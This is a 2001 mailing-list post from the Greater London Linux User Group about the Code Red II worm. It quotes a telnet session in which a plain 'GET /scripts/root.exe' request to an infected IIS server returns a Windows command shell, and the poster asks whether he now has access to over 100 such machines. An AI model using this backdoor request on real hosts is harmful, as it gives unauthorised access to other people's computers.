[Gllug] New Code Red /default.ida?XXXXXXXXXXXX

matthew at thenut.demon.co.uk matthew at thenut.demon.co.uk
Sun Aug 5 22:44:06 UTC 2001


On  5 Aug, Rev Simon Rumble wrote:
> Trying xxx.xxx.xxx.xx...
> Connected to xxx.xxx.xxx.xx.
> Escape character is '^]'.
> GET /scripts/root.exe HTTP/1.0
> 
> HTTP/1.1 200 OK
> Server: Microsoft-IIS/5.0
> Date: Sun, 05 Aug 2001 21:59:25 GMT
> Content-Type: application/octet-stream
> Microsoft Windows 2000 [Version 5.00.2195]
> (C) Copyright 1985-1999 Microsoft Corp.
> 
> c:\inetpub\scripts>

I can confirm that I get exactly the same thing on a few hosts.

Do I now have access to over 100 winboxes?

Matthew

-- 
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GIT/CM/M d++ s++:- a-->? C++++ UL++++ P++ L+++ E W-- N+ o? K++ w---
O-- M-- V? PS+>++ PE Y+>++ PGP++>+++ t+ 5-- X+ R tv- b++@ DI++++ D++
G e(*) h!>++ r-- y->++++
------END GEEK CODE BLOCK------



-- 
Gllug mailing list  -  Gllug at linux.co.uk
http://list.ftech.net/mailman/listinfo/gllug




More information about the GLLUG mailing list